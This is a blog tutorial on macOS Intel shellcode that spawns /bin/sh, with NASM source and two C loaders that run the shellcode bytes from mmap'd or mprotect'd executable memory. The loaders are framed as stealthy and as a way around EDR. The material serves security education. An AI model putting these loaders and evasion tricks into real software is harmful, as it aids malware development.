MacOS hacking part 7: Minimal Linux-style shellcode on macOS (Intel). Simple NASM (Intel) and C examples

cocomelonc.github.io · cocomelonc · 8 months ago · tutorial
quality 9/10 · excellent
0 net
MacOS hacking part 7: Minimal Linux-style shellcode on macOS (Intel). Simple NASM (Intel) and C examples - cocomelonc You are using an outdated browser. Please upgrade your browser to improve your experience. cocomelonc cybersec enthusiast. mathematician. author. speaker. hacker Follow Istanbul Email Twitter GitHub LinkedIn Custom Social Profile Link --> ﷽ Hello, cybersecurity enthusiasts and white hackers! In this short post I’ll explore a minimalistic Linux-style shellcode that surprisingly works on modern macOS x86_64 (in my case Sonoma ): Despite using execve("/bin//sh", NULL, NULL) , which is technically non-compliant on macOS , it launches a fully functional shell. Let’s dive in. practical example What is the main goal? Create a macOS shellcode that spawns /bin/sh using the execve syscall with no arguments or environment. We’ll write it in pure NASM and launch it via a simple C loader using mmap . We start by clearing eax and edx . This sets up registers with known zeroes and avoids using .data or .bss : xor esi , esi ; zero out ESI mul esi ; zero out RAX, RDX Then, set syscall number: bts eax , 25 ; set the 25th bit => eax = 0x02000000 mov al , 59 ; eax = 0x0200003b (execve syscall on macOS) As you can see, we use bts to set bit 25 in eax . Then mov al, 59 sets the lower byte, making eax = 0x200003b , which is execve on macOS. At the next step, we push the string directly onto the stack to avoid storing it in the .data section. Double slashes are valid: /bin//sh is equivalent to /bin/sh : push rsp ; push pointer to string pop rdi ; rdi = "/bin//sh" Set up registers for execve like this: push rsp ; push pointer to string pop rdi ; rdi = "/bin//sh" This gives us: execve ( "/bin//sh" , NULL , NULL ) Finally, trigger syscall: syscall If all goes well - we drop into a shell. Important note about unexpected behavior: Although POSIX requires argv != NULL , and macOS traditionally crashes on execve(..., NULL, ...) , recent versions (Sonoma) appear to gracefully accept NULL argv , possibly coercing it to [filename, NULL] . This is likely a compatibility or security-hardening adjustment. So full NASM source code looks like this hack.asm : ; hack.asm ; linux-style minimal shellcode ; author: @cocomelonc ; https://cocomelonc.github.io/macos/2025/08/02/malware-mac-7.html global start section .text start: bits 64 xor esi , esi mul esi bts eax , 25 mov al , 59 mov rbx , ' / bin // sh ' push rdx push rbx push rsp pop rdi syscall demo Let’s go to see this in action. Compile it: nasm -f macho64 hack.asm -o hack.o linking: ld -arch x86_64 -macos_version_min 14.0 -e start -static -o hack hack.o Then, run: ./hack As you can see, everything works as expected. practical example 2 What about C wrapper? Try to run this shellcode via C . Run: objdump -M intel -d hack So, our C code looks like this ( hack2.c ): /* * hack2.c * run Linux-style minimal * shellcode via mmap * author: @cocomelonc * https://cocomelonc.github.io/macos/2025/08/02/malware-mac-7.html */ #include #include #include #include unsigned char code [] = /* 0000 */ " \x31\xf6 " /* xor esi, esi */ /* 0002 */ " \xf7\xe6 " /* mul esi */ /* 0004 */ " \x0f\xba\xe8\x19 " /* bts eax, 0x19 */ /* 0008 */ " \xb0\x3b " /* mov al, 0x3b */ /* 000A */ " \x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68 " /* movabs rbx, 0x68732f2f6e69622f */ /* 0014 */ " \x52 " /* push rdx */ /* 0015 */ " \x53 " /* push rbx */ /* 0016 */ " \x54 " /* push rsp */ /* 0017 */ " \x5f " /* pop rdi */ /* 0018 */ " \x0f\x05 " ; /* syscall */ int main () { size_t pagesize = sysconf ( _SC_PAGESIZE ); void * exec = mmap ( 0 , pagesize , PROT_READ | PROT_WRITE | PROT_EXEC , MAP_PRIVATE | MAP_ANON , - 1 , 0 ); if ( exec == MAP_FAILED ) { perror ( "mmap" ); return 1 ; } memcpy ( exec , code , sizeof ( code )); (( void ( * )()) exec )(); return 0 ; } demo 2 Compile it: clang -o hack2 hack2.c Finally, run it: ./hack2 It works! Great! practical example 3 (shellcode execution using posix_memalign + mprotect ) In this example I’ll explore another method of executing shellcode on macOS - using posix_memalign() and mprotect() instead of mmap() . This method is subtle and cleaner in some cases, especially when working with memory-aligned regions, and avoids MAP_ANON allocation. What is posix_memalign ? The function: posix_memalign ( void ** memptr , size_t alignment , size_t size ) allocates memory aligned on a specified boundary - perfect for page alignment (pagesize). It’s great when: You want manual control over memory alignment. You prefer not to use mmap() , which can be noisy or blocked in hardened environments. You want to work with portable heap memory. What about mprotect ? Memory allocated via malloc or posix_memalign is usually non-executable due to DEP (Data Execution Prevention) . To allow execution, we use: mprotect ( buf , pagesize , PROT_READ | PROT_WRITE | PROT_EXEC ); This marks the memory region as executable. Warning! To be honest, mprotect() might fail silently if System Integrity Protection (SIP) is enabled. Test in VM, debug mode, or hardened lab. Here’s the full C code using posix_memalign and mprotect to execute our shellcode ( hack3.c ): /* * hack3.c * run via posix_memalign + mprotect * author: @cocomelonc * https://cocomelonc.github.io/macos/2025/08/02/malware-mac-7.html */ #include #include #include #include #include unsigned char code [] = /* 0000 */ " \x31\xf6 " /* xor esi, esi */ /* 0002 */ " \xf7\xe6 " /* mul esi */ /* 0004 */ " \x0f\xba\xe8\x19 " /* bts eax, 0x19 */ /* 0008 */ " \xb0\x3b " /* mov al, 0x3b */ /* 000A */ " \x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68 " /* movabs rbx, 0x68732f2f6e69622f */ /* 0014 */ " \x52 " /* push rdx */ /* 0015 */ " \x53 " /* push rbx */ /* 0016 */ " \x54 " /* push rsp */ /* 0017 */ " \x5f " /* pop rdi */ /* 0018 */ " \x0f\x05 " /* syscall */ ; int main () { size_t pagesize = sysconf ( _SC_PAGESIZE ); void * buf = NULL ; // allocate page-aligned buffer if ( posix_memalign ( & buf , pagesize , pagesize ) != 0 ) { perror ( "posix_memalign" ); return 1 ; } memcpy ( buf , code , sizeof ( code )); // mark buffer as executable if ( mprotect ( buf , pagesize , PROT_READ | PROT_WRITE | PROT_EXEC ) != 0 ) { perror ( "mprotect" ); return 1 ; } // run shellcode (( void ( * )()) buf )(); // free(buf); // optional return 0 ; } demo Compilation: clang -arch x86_64 -o hack3 hack3.c Run: ./hack3 As you can see, it works! We got a /bin/sh shell! This method is clean and stealthy, especially for educational PoC on older or debug-enabled macOS systems. You avoid mmap() syscalls, which might be detected by some EDRs, and gain better control over memory alignment. But on newer macOS with SIP, even this might be blocked - so I think it only works in controlled labs or hardened VMs. conclusion This code shows that ultra-minimal Linux shellcode still works on macOS Sonoma, which is both surprising and educational. This opens possibilities for stealthy payloads and training Red/Blue teams on cross-platform assumptions. Want the same for ARM64 M1/M2 shellcode? It will be in the next posts of this macOS hacking series. I hope this post is useful for malware researchers, macOS/Apple security researchers, ASM programmers, spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal. macOS hacking part 1 macOS hacking part 2 macOS hacking part 3 macOS hacking part 4 macOS hacking part 5 macOS hacking part 6 source code in github This is a practical case for educational purposes only. Thanks for your time happy hacking and good bye! PS. All drawings and screenshots are mine Share on Twitter Facebook LinkedIn You may also enjoy MacOS malware persistence 9: emond (The Event Monitor Daemon). Simple C example 3 minute read ﷽ MacOS malware persistence 8: periodic scripts. Simple C example 3 minute read ﷽ MacOS hacking part 13: sysinfo stealer via VirusTotal API. Simple C example 4 minute read ﷽ MacOS malware persistence 7: Re-opened applications. Simple C example 7 minute read ﷽